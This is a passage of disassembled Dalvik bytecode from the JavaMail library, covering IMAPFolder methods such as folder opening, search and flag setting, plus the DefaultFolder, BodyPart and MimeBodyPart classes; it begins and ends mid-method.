00000012 check-cast v0, IMAPStore
00000016 invoke-virtual IMAPStore->getProtocol(IMAPFolder)IMAPProtocol, v0, p0
0000001C move-result-object v0
0000001E iput-object v0, p0, IMAPFolder->protocol:IMAPProtocol
00000022 iget-object v4, p0, IMAPFolder->messageCacheLock:Object
00000026 monitor-enter v4
:28
00000028 iget-object v0, p0, IMAPFolder->protocol:IMAPProtocol
0000002C invoke-virtual IMAPProtocol->addResponseHandler(ResponseHandler)V, v0, p0
:32
00000032 if-ne p1, v5, :106
:36
00000036 iget-object v0, p0, IMAPFolder->protocol:IMAPProtocol
0000003A iget-object v3, p0, IMAPFolder->fullName:String
0000003E invoke-virtual IMAPProtocol->examine(String)MailboxInfo, v0, v3
:44
00000044 move-result-object v0
00000046 move-object v3, v0
:48
00000048 iget v0, v3, MailboxInfo->mode:I
0000004C if-eq v0, p1, :72
:50
00000050 const/4 v0, 0x2
00000052 if-ne p1, v0, :162
:56
00000056 iget v0, v3, MailboxInfo->mode:I
0000005A if-ne v0, v5, :162
:5E
0000005E iget-object v0, p0, IMAPFolder->store:Store
00000062 check-cast v0, IMAPStore
00000066 invoke-virtual IMAPStore->allowReadOnlySelect()Z, v0
0000006C move-result v0
0000006E if-eqz v0, :162
:72
00000072 const/4 v0, 0x1
00000074 iput-boolean v0, p0, IMAPFolder->opened:Z
00000078 const/4 v0, 0x0
0000007A iput-boolean v0, p0, IMAPFolder->reallyClosed:Z
0000007E iget v0, v3, MailboxInfo->mode:I
00000082 iput v0, p0, IMAPFolder->mode:I
00000086 iget-object v0, v3, MailboxInfo->availableFlags:Flags
0000008A iput-object v0, p0, IMAPFolder->availableFlags:Flags
0000008E iget-object v0, v3, MailboxInfo->permanentFlags:Flags
00000092 iput-object v0, p0, IMAPFolder->permanentFlags:Flags
00000096 iget v0, v3, MailboxInfo->total:I
0000009A iput v0, p0, IMAPFolder->realTotal:I
0000009E iput v0, p0, IMAPFolder->total:I
000000A2 iget v0, v3, MailboxInfo->recent:I
000000A6 iput v0, p0, IMAPFolder->recent:I
000000AA iget-wide v5, v3, MailboxInfo->uidvalidity:J
000000AE iput-wide v5, p0, IMAPFolder->uidvalidity:J
000000B2 iget-wide v5, v3, MailboxInfo->uidnext:J
000000B6 iput-wide v5, p0, IMAPFolder->uidnext:J
000000BA new-instance v0, Vector
000000BE iget v3, p0, IMAPFolder->total:I
000000C2 invoke-direct Vector-><init>(I)V, v0, v3
000000C8 iput-object v0, p0, IMAPFolder->messageCache:Vector
000000CC move v0, v2
:CE
000000CE iget v2, p0, IMAPFolder->total:I
000000D2 if-lt v0, v2, :1BC
:D6
000000D6 monitor-exit v4
:D8
000000D8 move-object v0, v1
:DA
000000DA if-eqz v0, :1F4
:DE
000000DE invoke-direct IMAPFolder->checkExists()V, p0
000000E4 iget v1, p0, IMAPFolder->type:I
000000E8 and-int/lit8 v1, v1, 0x1
000000EC if-nez v1, :1E0
:F0
000000F0 new-instance v0, MessagingException
000000F4 const-string v1, "folder cannot contain messages"
000000F8 invoke-direct MessagingException-><init>(String)V, v0, v1
000000FE throw v0
:100
00000100 move-exception v0
00000102 monitor-exit p0
00000104 throw v0
:106
00000106 iget-object v0, p0, IMAPFolder->protocol:IMAPProtocol
0000010A iget-object v3, p0, IMAPFolder->fullName:String
0000010E invoke-virtual IMAPProtocol->select(String)MailboxInfo, v0, v3
:114
00000114 move-result-object v0
00000116 move-object v3, v0
00000118 goto :48
:11A
0000011A move-exception v0
0000011C const/4 v1, 0x1
:11E
0000011E invoke-direct IMAPFolder->releaseProtocol(Z)V, p0, v1
00000124 const/4 v1, 0x0
00000126 iput-object v1, p0, IMAPFolder->protocol:IMAPProtocol
0000012A monitor-exit v4
0000012C goto :DA
:12E
0000012E move-exception v0
00000130 monitor-exit v4
:132
00000132 throw v0
:134
00000134 move-exception v0
:136
00000136 iget-object v1, p0, IMAPFolder->protocol:IMAPProtocol
0000013A invoke-virtual IMAPProtocol->logout()V, v1
:140
00000140 const/4 v1, 0x0
:142
00000142 invoke-direct IMAPFolder->releaseProtocol(Z)V, p0, v1
00000148 const/4 v1, 0x0
0000014A iput-object v1, p0, IMAPFolder->protocol:IMAPProtocol
0000014E new-instance v1, MessagingException
00000152 invoke-virtual ProtocolException->getMessage()String, v0
00000158 move-result-object v2
0000015A invoke-direct MessagingException-><init>(String, Exception)V, v1, v2, v0
00000160 throw v1
:162
00000162 iget-object v0, p0, IMAPFolder->protocol:IMAPProtocol
00000166 invoke-virtual IMAPProtocol->close()V, v0
0000016C const/4 v0, 0x1
0000016E invoke-direct IMAPFolder->releaseProtocol(Z)V, p0, v0
:174
00000174 const/4 v0, 0x0
:176
00000176 iput-object v0, p0, IMAPFolder->protocol:IMAPProtocol
0000017A new-instance v0, ReadOnlyFolderException
0000017E const-string v1, "Cannot open in desired mode"
00000182 invoke-direct ReadOnlyFolderException-><init>(Folder, String)V, v0, p0, v1
00000188 throw v0
:18A
0000018A move-exception v0
:18C
0000018C iget-object v0, p0, IMAPFolder->protocol:IMAPProtocol
00000190 invoke-virtual IMAPProtocol->logout()V, v0
:196
00000196 const/4 v0, 0x0
:198
00000198 invoke-direct IMAPFolder->releaseProtocol(Z)V, p0, v0
0000019E goto :174
:1A0
000001A0 move-exception v0
000001A2 goto :174
:1A4
000001A4 move-exception v0
000001A6 const/4 v0, 0x0
000001A8 invoke-direct IMAPFolder->releaseProtocol(Z)V, p0, v0
000001AE goto :174
:1B0
000001B0 move-exception v0
000001B2 const/4 v1, 0x0
000001B4 invoke-direct IMAPFolder->releaseProtocol(Z)V, p0, v1
000001BA throw v0
:1BC
000001BC iget-object v2, p0, IMAPFolder->messageCache:Vector
000001C0 new-instance v3, IMAPMessage
000001C4 add-int/lit8 v5, v0, 0x1
000001C8 add-int/lit8 v6, v0, 0x1
000001CC invoke-direct IMAPMessage-><init>(IMAPFolder, I, I)V, v3, p0, v5, v6
000001D2 invoke-virtual Vector->addElement(Object)V, v2, v3
:1D8
000001D8 add-int/lit8 v0, v0, 0x1
000001DC goto/16 :CE
:1E0
000001E0 new-instance v1, MessagingException
000001E4 invoke-virtual CommandFailedException->getMessage()String, v0
000001EA move-result-object v2
000001EC invoke-direct MessagingException-><init>(String, Exception)V, v1, v2, v0
000001F2 throw v1
:1F4
000001F4 const/4 v0, 0x1
000001F6 iput-boolean v0, p0, IMAPFolder->exists:Z
000001FA const/4 v0, 0x0
000001FC iput-object v0, p0, IMAPFolder->attributes:[String
00000200 const/4 v0, 0x1
00000202 iput v0, p0, IMAPFolder->type:I
00000206 const/4 v0, 0x1
00000208 invoke-virtual IMAPFolder->notifyConnectionListeners(I)V, p0, v0
:20E
0000020E monitor-exit p0
00000210 return-void
:212
00000212 move-exception v1
00000214 goto :140
:216
00000216 move-exception v1
00000218 goto :140
.catchall {:8 .. :28} :100
.catchall {:28 .. :32} :12E
.catch CommandFailedException {:36 .. :44} :11A
.catch ProtocolException {:36 .. :44} :134
.catchall {:36 .. :44} :12E
.catchall {:48 .. :D8} :12E
.catchall {:DE .. :100} :100
.catch CommandFailedException {:106 .. :114} :11A
.catch ProtocolException {:106 .. :114} :134
.catchall {:106 .. :114} :12E
.catchall {:11E .. :132} :12E
.catchall {:132 .. :134} :100
.catch ProtocolException {:136 .. :140} :216
.catchall {:136 .. :140} :212
.catchall {:142 .. :162} :12E
.catch ProtocolException {:162 .. :174} :18A
.catchall {:162 .. :174} :1A0
.catchall {:176 .. :18A} :12E
.catch ProtocolException {:18C .. :196} :1A4
.catchall {:18C .. :196} :1B0
.catchall {:198 .. :1BC} :1A0
.catchall {:1BC .. :1D8} :12E
.catchall {:1E0 .. :20E} :100
.end method
.method protected declared-synchronized releaseStoreProtocol(IMAPProtocol)V
.registers 3
00000000 monitor-enter p0
:2
00000002 iget-object v0, p0, IMAPFolder->protocol:IMAPProtocol
00000006 if-eq p1, v0, :18
:A
0000000A iget-object v0, p0, IMAPFolder->store:Store
0000000E check-cast v0, IMAPStore
00000012 invoke-virtual IMAPStore->releaseStoreProtocol(IMAPProtocol)V, v0, p1
:18
00000018 monitor-exit p0
0000001A return-void
:1C
0000001C move-exception v0
0000001E monitor-exit p0
00000020 throw v0
.catchall {:2 .. :18} :1C
.end method
.method public removeACL(String)V
.registers 4
00000000 const-string v0, "ACL not supported"
00000004 new-instance v1, IMAPFolder$15
00000008 invoke-direct IMAPFolder$15-><init>(IMAPFolder, String)V, v1, p0, p1
0000000E invoke-virtual IMAPFolder->doOptionalCommand(String, IMAPFolder$ProtocolCommand)Object, p0, v0, v1
00000014 return-void
.end method
.method public removeRights(ACL)V
.registers 3
00000000 const/16 v0, 0x2D
00000004 invoke-direct IMAPFolder->setACL(ACL, C)V, p0, p1, v0
0000000A return-void
.end method
.method public declared-synchronized renameTo(Folder)Z
.registers 5
00000000 const/4 v0, 0x0
00000002 monitor-enter p0
:4
00000004 invoke-direct IMAPFolder->checkClosed()V, p0
0000000A invoke-direct IMAPFolder->checkExists()V, p0
00000010 invoke-virtual Folder->getStore()Store, p1
00000016 move-result-object v1
00000018 iget-object v2, p0, IMAPFolder->store:Store
0000001C if-eq v1, v2, :36
:20
00000020 new-instance v0, MessagingException
00000024 const-string v1, "Can\'t rename across Stores"
00000028 invoke-direct MessagingException-><init>(String)V, v0, v1
0000002E throw v0
:30
00000030 move-exception v0
00000032 monitor-exit p0
00000034 throw v0
:36
00000036 new-instance v1, IMAPFolder$9
0000003A invoke-direct IMAPFolder$9-><init>(IMAPFolder, Folder)V, v1, p0, p1
00000040 invoke-virtual IMAPFolder->doCommandIgnoreFailure(IMAPFolder$ProtocolCommand)Object, p0, v1
:46
00000046 move-result-object v1
00000048 if-nez v1, :50
:4C
0000004C monitor-exit p0
0000004E return v0
:50
00000050 const/4 v0, 0x0
:52
00000052 iput-boolean v0, p0, IMAPFolder->exists:Z
00000056 const/4 v0, 0x0
00000058 iput-object v0, p0, IMAPFolder->attributes:[String
0000005C invoke-virtual IMAPFolder->notifyFolderRenamedListeners(Folder)V, p0, p1
:62
00000062 const/4 v0, 0x1
00000064 goto :4C
.catchall {:4 .. :30} :30
.catchall {:36 .. :46} :30
.catchall {:52 .. :62} :30
.end method
.method public declared-synchronized search(SearchTerm)[Message
.registers 7
00000000 monitor-enter p0
:2
00000002 invoke-direct IMAPFolder->checkOpened()V, p0
:8
00000008 const/4 v0, 0x0
:A
0000000A check-cast v0, [Message
0000000E iget-object v2, p0, IMAPFolder->messageCacheLock:Object
00000012 monitor-enter v2
:14
00000014 invoke-direct IMAPFolder->getProtocol()IMAPProtocol, p0
0000001A move-result-object v1
0000001C invoke-virtual IMAPProtocol->search(SearchTerm)[I, v1, p1
00000022 move-result-object v3
00000024 if-eqz v3, :36
:28
00000028 array-length v0, v3
0000002A new-array v0, v0, [IMAPMessage
0000002E const/4 v1, 0x0
:30
00000030 array-length v4, v3
00000032 if-lt v1, v4, :3C
:36
00000036 monitor-exit v2
:38
00000038 monitor-exit p0
0000003A return-object v0
:3C
0000003C aget v4, v3, v1
00000040 invoke-virtual IMAPFolder->getMessageBySeqNumber(I)IMAPMessage, p0, v4
00000046 move-result-object v4
00000048 aput-object v4, v0, v1
0000004C add-int/lit8 v1, v1, 0x1
00000050 goto :30
:52
00000052 move-exception v0
00000054 monitor-exit v2
:56
00000056 throw v0
:58
00000058 move-exception v0
:5A
0000005A invoke-super Folder->search(SearchTerm)[Message, p0, p1
00000060 move-result-object v0
00000062 goto :38
:64
00000064 move-exception v0
00000066 invoke-super Folder->search(SearchTerm)[Message, p0, p1
0000006C move-result-object v0
0000006E goto :38
:70
00000070 move-exception v0
00000072 new-instance v1, FolderClosedException
00000076 invoke-virtual ConnectionException->getMessage()String, v0
0000007C move-result-object v0
0000007E invoke-direct FolderClosedException-><init>(Folder, String)V, v1, p0, v0
00000084 throw v1
:86
00000086 move-exception v0
00000088 monitor-exit p0
0000008A throw v0
:8C
0000008C move-exception v0
:8E
0000008E new-instance v1, MessagingException
00000092 invoke-virtual ProtocolException->getMessage()String, v0
00000098 move-result-object v2
0000009A invoke-direct MessagingException-><init>(String, Exception)V, v1, v2, v0
000000A0 throw v1
.catchall {:2 .. :8} :86
.catch CommandFailedException {:A .. :14} :58
.catch SearchException {:A .. :14} :64
.catch ConnectionException {:A .. :14} :70
.catch ProtocolException {:A .. :14} :8C
.catchall {:A .. :14} :86
.catchall {:14 .. :38} :52
.catchall {:3C .. :56} :52
.catch CommandFailedException {:56 .. :58} :58
.catch SearchException {:56 .. :58} :64
.catch ConnectionException {:56 .. :58} :70
.catch ProtocolException {:56 .. :58} :8C
.catchall {:56 .. :58} :86
.catchall {:5A .. :86} :86
.catchall {:8E .. :A2} :86
.end method
.method public declared-synchronized search(SearchTerm, [Message)[Message
.registers 8
00000000 monitor-enter p0
:2
00000002 invoke-direct IMAPFolder->checkOpened()V, p0
00000008 array-length v0, p2
:A
0000000A if-nez v0, :12
:E
0000000E monitor-exit p0
00000010 return-object p2
:12
00000012 const/4 v0, 0x0
:14
00000014 check-cast v0, [Message
00000018 iget-object v2, p0, IMAPFolder->messageCacheLock:Object
0000001C monitor-enter v2
:1E
0000001E invoke-direct IMAPFolder->getProtocol()IMAPProtocol, p0
00000024 move-result-object v1
00000026 const/4 v3, 0x0
00000028 invoke-static Utility->toMessageSet([Message, Utility$Condition)[MessageSet, p2, v3
0000002E move-result-object v3
00000030 if-nez v3, :56
:34
00000034 new-instance v0, MessageRemovedException
00000038 const-string v1, "Messages have been removed"
0000003C invoke-direct MessageRemovedException-><init>(String)V, v0, v1
00000042 throw v0
:44
00000044 move-exception v0
00000046 monitor-exit v2
:48
00000048 throw v0
:4A
0000004A move-exception v0
:4C
0000004C invoke-super Folder->search(SearchTerm, [Message)[Message, p0, p1, p2
:52
00000052 move-result-object p2
00000054 goto :E
:56
00000056 invoke-virtual IMAPProtocol->search([MessageSet, SearchTerm)[I, v1, v3, p1
0000005C move-result-object v3
0000005E if-eqz v3, :70
:62
00000062 array-length v0, v3
00000064 new-array v0, v0, [IMAPMessage
00000068 const/4 v1, 0x0
:6A
0000006A array-length v4, v3
0000006C if-lt v1, v4, :76
:70
00000070 monitor-exit v2
00000072 move-object p2, v0
00000074 goto :E
:76
00000076 aget v4, v3, v1
0000007A invoke-virtual IMAPFolder->getMessageBySeqNumber(I)IMAPMessage, p0, v4
00000080 move-result-object v4
00000082 aput-object v4, v0, v1
:86
00000086 add-int/lit8 v1, v1, 0x1
0000008A goto :6A
:8C
0000008C move-exception v0
:8E
0000008E invoke-super Folder->search(SearchTerm, [Message)[Message, p0, p1, p2
00000094 move-result-object p2
00000096 goto :E
:98
00000098 move-exception v0
0000009A new-instance v1, FolderClosedException
0000009E invoke-virtual ConnectionException->getMessage()String, v0
000000A4 move-result-object v0
000000A6 invoke-direct FolderClosedException-><init>(Folder, String)V, v1, p0, v0
000000AC throw v1
:AE
000000AE move-exception v0
000000B0 monitor-exit p0
000000B2 throw v0
:B4
000000B4 move-exception v0
:B6
000000B6 new-instance v1, MessagingException
000000BA invoke-virtual ProtocolException->getMessage()String, v0
000000C0 move-result-object v2
000000C2 invoke-direct MessagingException-><init>(String, Exception)V, v1, v2, v0
000000C8 throw v1
.catchall {:2 .. :A} :AE
.catch CommandFailedException {:14 .. :1E} :4A
.catch SearchException {:14 .. :1E} :8C
.catch ConnectionException {:14 .. :1E} :98
.catch ProtocolException {:14 .. :1E} :B4
.catchall {:14 .. :1E} :AE
.catchall {:1E .. :48} :44
.catch CommandFailedException {:48 .. :4A} :4A
.catch SearchException {:48 .. :4A} :8C
.catch ConnectionException {:48 .. :4A} :98
.catch ProtocolException {:48 .. :4A} :B4
.catchall {:48 .. :4A} :AE
.catchall {:4C .. :52} :AE
.catchall {:56 .. :86} :44
.catchall {:8E .. :AE} :AE
.catchall {:B6 .. :CA} :AE
.end method
.method public declared-synchronized setFlags([Message, Flags, Z)V
.registers 8
00000000 monitor-enter p0
:2
00000002 invoke-direct IMAPFolder->checkOpened()V, p0
00000008 invoke-direct IMAPFolder->checkFlags(Flags)V, p0, p2
0000000E array-length v0, p1
:10
00000010 if-nez v0, :18
:14
00000014 monitor-exit p0
00000016 return-void
:18
00000018 iget-object v1, p0, IMAPFolder->messageCacheLock:Object
0000001C monitor-enter v1
:1E
0000001E invoke-direct IMAPFolder->getProtocol()IMAPProtocol, p0
00000024 move-result-object v0
00000026 const/4 v2, 0x0
00000028 invoke-static Utility->toMessageSet([Message, Utility$Condition)[MessageSet, p1, v2
0000002E move-result-object v2
00000030 if-nez v2, :66
:34
00000034 new-instance v0, MessageRemovedException
00000038 const-string v2, "Messages have been removed"
0000003C invoke-direct MessageRemovedException-><init>(String)V, v0, v2
00000042 throw v0
:44
00000044 move-exception v0
:46
00000046 new-instance v2, FolderClosedException
0000004A invoke-virtual ConnectionException->getMessage()String, v0
00000050 move-result-object v0
00000052 invoke-direct FolderClosedException-><init>(Folder, String)V, v2, p0, v0
00000058 throw v2
:5A
0000005A move-exception v0
0000005C monitor-exit v1
:5E
0000005E throw v0
:60
00000060 move-exception v0
00000062 monitor-exit p0
00000064 throw v0
:66
00000066 invoke-virtual IMAPProtocol->storeFlags([MessageSet, Flags, Z)V, v0, v2, p2, p3
:6C
0000006C monitor-exit v1
0000006E goto :14
:70
00000070 move-exception v0
00000072 new-instance v2, MessagingException
00000076 invoke-virtual ProtocolException->getMessage()String, v0
0000007C move-result-object v3
0000007E invoke-direct MessagingException-><init>(String, Exception)V, v2, v3, v0
00000084 throw v2
.catchall {:2 .. :10} :60
.catchall {:18 .. :1E} :60
.catch ConnectionException {:1E .. :44} :44
.catch ProtocolException {:1E .. :44} :70
.catchall {:1E .. :44} :5A
.catchall {:46 .. :5E} :5A
.catchall {:5E .. :60} :60
.catch ConnectionException {:66 .. :6C} :44
.catch ProtocolException {:66 .. :6C} :70
.catchall {:66 .. :6C} :5A
.catchall {:6C .. :86} :5A
.end method
.method public setQuota(Quota)V
.registers 4
00000000 const-string v0, "QUOTA not supported"
00000004 new-instance v1, IMAPFolder$13
00000008 invoke-direct IMAPFolder$13-><init>(IMAPFolder, Quota)V, v1, p0, p1
0000000E invoke-virtual IMAPFolder->doOptionalCommand(String, IMAPFolder$ProtocolCommand)Object, p0, v0, v1
00000014 return-void
.end method
.method public declared-synchronized setSubscribed(Z)V
.registers 3
00000000 monitor-enter p0
:2
00000002 new-instance v0, IMAPFolder$5
00000006 invoke-direct IMAPFolder$5-><init>(IMAPFolder, Z)V, v0, p0, p1
0000000C invoke-virtual IMAPFolder->doCommandIgnoreFailure(IMAPFolder$ProtocolCommand)Object, p0, v0
:12
00000012 monitor-exit p0
00000014 return-void
:16
00000016 move-exception v0
00000018 monitor-exit p0
0000001A throw v0
.catchall {:2 .. :12} :16
.end method
.method waitIfIdle()V
.registers 3
00000000 sget-boolean v0, IMAPFolder->$assertionsDisabled:Z
00000004 if-nez v0, :48
:8
00000008 iget-object v0, p0, IMAPFolder->messageCacheLock:Object
0000000C invoke-static Thread->holdsLock(Object)Z, v0
00000012 move-result v0
00000014 if-nez v0, :48
:18
00000018 new-instance v0, AssertionError
0000001C invoke-direct AssertionError-><init>()V, v0
00000022 throw v0
:24
00000024 iget v0, p0, IMAPFolder->idleState:I
00000028 const/4 v1, 0x1
0000002A if-ne v0, v1, :3E
:2E
0000002E iget-object v0, p0, IMAPFolder->protocol:IMAPProtocol
00000032 invoke-virtual IMAPProtocol->idleAbort()V, v0
00000038 const/4 v0, 0x2
0000003A iput v0, p0, IMAPFolder->idleState:I
:3E
0000003E iget-object v0, p0, IMAPFolder->messageCacheLock:Object
00000042 invoke-virtual Object->wait()V, v0
:48
00000048 iget v0, p0, IMAPFolder->idleState:I
0000004C if-nez v0, :24
:50
00000050 return-void
:52
00000052 move-exception v0
00000054 goto :48
.catch InterruptedException {:3E .. :48} :52
.end method
#--------------------------------------------------------------------------------
.class public DefaultFolder
.super IMAPFolder
.source ""
.method protected constructor <init>(IMAPStore)V
.registers 4
00000000 const-string v0, ""
00000004 const v1, 0xFFFF
0000000A invoke-direct IMAPFolder-><init>(String, C, IMAPStore)V, p0, v0, v1, p1
00000010 const/4 v0, 0x1
00000012 iput-boolean v0, p0, DefaultFolder->exists:Z
00000016 const/4 v0, 0x2
00000018 iput v0, p0, DefaultFolder->type:I
0000001C return-void
.end method
.method public appendMessages([Message)V
.registers 4
00000000 new-instance v0, MethodNotSupportedException
00000004 const-string v1, "Cannot append to Default Folder"
00000008 invoke-direct MethodNotSupportedException-><init>(String)V, v0, v1
0000000E throw v0
.end method
.method public delete(Z)Z
.registers 4
00000000 new-instance v0, MethodNotSupportedException
00000004 const-string v1, "Cannot delete Default Folder"
00000008 invoke-direct MethodNotSupportedException-><init>(String)V, v0, v1
0000000E throw v0
.end method
.method public expunge()[Message
.registers 3
00000000 new-instance v0, MethodNotSupportedException
00000004 const-string v1, "Cannot expunge Default Folder"
00000008 invoke-direct MethodNotSupportedException-><init>(String)V, v0, v1
0000000E throw v0
.end method
.method public getFolder(String)Folder
.registers 5
00000000 new-instance v1, IMAPFolder
00000004 const v2, 0xFFFF
0000000A iget-object v0, p0, DefaultFolder->store:Store
0000000E check-cast v0, IMAPStore
00000012 invoke-direct IMAPFolder-><init>(String, C, IMAPStore)V, v1, p1, v2, v0
00000018 return-object v1
.end method
.method public getName()String
.registers 2
00000000 iget-object v0, p0, DefaultFolder->fullName:String
00000004 return-object v0
.end method
.method public getParent()Folder
.registers 2
00000000 const/4 v0, 0x0
00000002 return-object v0
.end method
.method public hasNewMessages()Z
.registers 2
00000000 const/4 v0, 0x0
00000002 return v0
.end method
.method public list(String)[Folder
.registers 8
00000000 const/4 v1, 0x0
00000002 const/4 v0, 0x0
00000004 check-cast v0, [ListInfo
00000008 new-instance v0, DefaultFolder$1
0000000C invoke-direct DefaultFolder$1-><init>(DefaultFolder, String)V, v0, p0, p1
00000012 invoke-virtual DefaultFolder->doCommand(IMAPFolder$ProtocolCommand)Object, p0, v0
00000018 move-result-object v0
0000001A check-cast v0, [ListInfo
0000001E if-nez v0, :28
:22
00000022 new-array v0, v1, [Folder
:26
00000026 return-object v0
:28
00000028 array-length v2, v0
0000002A new-array v3, v2, [IMAPFolder
0000002E move v2, v1
:30
00000030 array-length v1, v3
00000032 if-lt v2, v1, :3A
:36
00000036 move-object v0, v3
00000038 goto :26
:3A
0000003A new-instance v4, IMAPFolder
0000003E aget-object v5, v0, v2
00000042 iget-object v1, p0, DefaultFolder->store:Store
00000046 check-cast v1, IMAPStore
0000004A invoke-direct IMAPFolder-><init>(ListInfo, IMAPStore)V, v4, v5, v1
00000050 aput-object v4, v3, v2
00000054 add-int/lit8 v1, v2, 0x1
00000058 move v2, v1
0000005A goto :30
.end method
.method public listSubscribed(String)[Folder
.registers 8
00000000 const/4 v1, 0x0
00000002 const/4 v0, 0x0
00000004 check-cast v0, [ListInfo
00000008 new-instance v0, DefaultFolder$2
0000000C invoke-direct DefaultFolder$2-><init>(DefaultFolder, String)V, v0, p0, p1
00000012 invoke-virtual DefaultFolder->doCommand(IMAPFolder$ProtocolCommand)Object, p0, v0
00000018 move-result-object v0
0000001A check-cast v0, [ListInfo
0000001E if-nez v0, :28
:22
00000022 new-array v0, v1, [Folder
:26
00000026 return-object v0
:28
00000028 array-length v2, v0
0000002A new-array v3, v2, [IMAPFolder
0000002E move v2, v1
:30
00000030 array-length v1, v3
00000032 if-lt v2, v1, :3A
:36
00000036 move-object v0, v3
00000038 goto :26
:3A
0000003A new-instance v4, IMAPFolder
0000003E aget-object v5, v0, v2
00000042 iget-object v1, p0, DefaultFolder->store:Store
00000046 check-cast v1, IMAPStore
0000004A invoke-direct IMAPFolder-><init>(ListInfo, IMAPStore)V, v4, v5, v1
00000050 aput-object v4, v3, v2
00000054 add-int/lit8 v1, v2, 0x1
00000058 move v2, v1
0000005A goto :30
.end method
.method public renameTo(Folder)Z
.registers 4
00000000 new-instance v0, MethodNotSupportedException
00000004 const-string v1, "Cannot rename Default Folder"
00000008 invoke-direct MethodNotSupportedException-><init>(String)V, v0, v1
0000000E throw v0
.end method
#--------------------------------------------------------------------------------
.class public abstract BodyPart
.super Object
.source ""
.implements Part
.field protected parent:Multipart
.method public constructor <init>()V
.registers 1
00000000 invoke-direct Object-><init>()V, p0
00000006 return-void
.end method
.method public getParent()Multipart
.registers 2
00000000 iget-object v0, p0, BodyPart->parent:Multipart
00000004 return-object v0
.end method
.method setParent(Multipart)V
.registers 2
00000000 iput-object p1, p0, BodyPart->parent:Multipart
00000004 return-void
.end method
#--------------------------------------------------------------------------------
.class public MimeBodyPart
.super BodyPart
.source ""
.implements MimePart
.field static cacheMultipart:Z
.field private static decodeFileName:Z
.field private static encodeFileName:Z
.field private static setContentTypeFileName:Z
.field private static setDefaultTextCharset:Z
.field private cachedContent:Object
.field protected content:[B
.field protected contentStream:InputStream
.field protected dh:DataHandler
.field protected headers:InternetHeaders
.method static constructor <clinit>()V
.registers 4
00000000 const/4 v0, 0x0
00000002 const/4 v1, 0x1
00000004 sput-boolean v1, MimeBodyPart->setDefaultTextCharset:Z
00000008 sput-boolean v1, MimeBodyPart->setContentTypeFileName:Z
0000000C sput-boolean v0, MimeBodyPart->encodeFileName:Z
00000010 sput-boolean v0, MimeBodyPart->decodeFileName:Z
00000014 sput-boolean v1, MimeBodyPart->cacheMultipart:Z
:18
00000018 const-string v2, "mail.mime.setdefaulttextcharset"
0000001C invoke-static System->getProperty(String)String, v2
00000022 move-result-object v2
00000024 if-eqz v2, :D6
:28
00000028 const-string v3, "false"
0000002C invoke-virtual String->equalsIgnoreCase(String)Z, v2, v3
00000032 move-result v2
00000034 if-eqz v2, :D6
:38
00000038 move v2, v0
:3A
0000003A sput-boolean v2, MimeBodyPart->setDefaultTextCharset:Z
0000003E const-string v2, "mail.mime.setcontenttypefilename"
00000042 invoke-static System->getProperty(String)String, v2
00000048 move-result-object v2
0000004A if-eqz v2, :DA
:4E
0000004E const-string v3, "false"
00000052 invoke-virtual String->equalsIgnoreCase(String)Z, v2, v3
00000058 move-result v2
0000005A if-eqz v2, :DA
:5E
0000005E move v2, v0
:60
00000060 sput-boolean v2, MimeBodyPart->setContentTypeFileName:Z
00000064 const-string v2, "mail.mime.encodefilename"
00000068 invoke-static System->getProperty(String)String, v2
0000006E move-result-object v2
00000070 if-eqz v2, :DE
:74
00000074 const-string v3, "false"
00000078 invoke-virtual String->equalsIgnoreCase(String)Z, v2, v3
0000007E move-result v2
00000080 if-nez v2, :DE
:84
00000084 move v2, v1
:86
00000086 sput-boolean v2, MimeBodyPart->encodeFileName:Z
0000008A const-string v2, "mail.mime.decodefilename"
0000008E invoke-static System->getProperty(String)String, v2
00000094 move-result-object v2
00000096 if-eqz v2, :E2
:9A
0000009A const-string v3, "false"
0000009E invoke-virtual String->equalsIgnoreCase(String)Z, v2, v3
000000A4 move-result v2
000000A6 if-nez v2, :E2
:AA
000000AA move v2, v1
:AC
000000AC sput-boolean v2, MimeBodyPart->decodeFileName:Z
000000B0 const-string v2, "mail.mime.cachemultipart"
000000B4 invoke-static System->getProperty(String)String, v2
000000BA move-result-object v2
000000BC if-eqz v2, :E6
:C0
000000C0 const-string v3, "false"
000000C4 invoke-virtual String->equalsIgnoreCase(String)Z, v2, v3
000000CA move-result v2
000000CC if-eqz v2, :E6
:D0
000000D0 sput-boolean v0, MimeBodyPart->cacheMultipart:Z
:D4
000000D4 return-void
:D6
000000D6 move v2, v1
000000D8 goto :3A
:DA
000000DA move v2, v1
000000DC goto :60
:DE
000000DE move v2, v0
000000E0 goto :86
:E2
000000E2 move v2, v0
000000E4 goto :AC
:E6
000000E6 move v0, v1
000000E8 goto :D0
:EA
000000EA move-exception v0
000000EC goto :D4
.catch SecurityException {:18 .. :D4} :EA
.end method
.method public constructor <init>()V
.registers 2
00000000 invoke-direct BodyPart-><init>()V, p0
00000006 new-instance v0, InternetHeaders
0000000A invoke-direct InternetHeaders-><init>()V, v0
00000010 iput-object v0, p0, MimeBodyPart->headers:InternetHeaders
00000014 return-void
.end method
.method public constructor <init>(InputStream)V
.registers 7
00000000 invoke-direct BodyPart-><init>()V, p0
00000006 instance-of v0, p1, ByteArrayInputStream
0000000A if-nez v0, :7C
:E
0000000E instance-of v0, p1, BufferedInputStream
00000012 if-nez v0, :7C
:16
00000016 instance-of v0, p1, SharedInputStream
0000001A if-nez v0, :7C
:1E
0000001E new-instance v0, BufferedInputStream
00000022 invoke-direct BufferedInputStream-><init>(InputStream)V, v0, p1
:28
00000028 new-instance v1, InternetHeaders
0000002C invoke-direct InternetHeaders-><init>(InputStream)V, v1, v0
00000032 iput-object v1, p0, MimeBodyPart->headers:InternetHeaders
00000036 instance-of v1, v0, SharedInputStream
0000003A if-eqz v1, :5C
:3E
0000003E check-cast v0, SharedInputStream
00000042 invoke-interface SharedInputStream->getPosition()J, v0
00000048 move-result-wide v1
0000004A const-wide/16 v3, 0xFFFFFFFFFFFFFFFF
0000004E invoke-interface SharedInputStream->newStream(J, J)InputStream, v0, v1, v2, v3, v4
00000054 move-result-object v0
00000056 iput-object v0, p0, MimeBodyPart->contentStream:InputStream
:5A
0000005A return-void
:5C
0000005C invoke-static ASCIIUtility->getBytes(InputStream)[B, v0
00000062 move-result-object v0
00000064 iput-object v0, p0, MimeBodyPart->content:[B
:68
00000068 goto :5A
:6A
0000006A move-exception v0
0000006C new-instance v1, MessagingException
00000070 const-string v2, "Error reading input stream"
00000074 invoke-direct MessagingException-><init>(String, Exception)V, v1, v2, v0
0000007A throw v1
:7C
0000007C move-object v0, p1
0000007E goto :28
.catch IOException {:5C .. :68} :6A
.end method
.method public constructor <init>(InternetHeaders, [B)V
.registers 3
00000000 invoke-direct BodyPart-><init>()V, p0
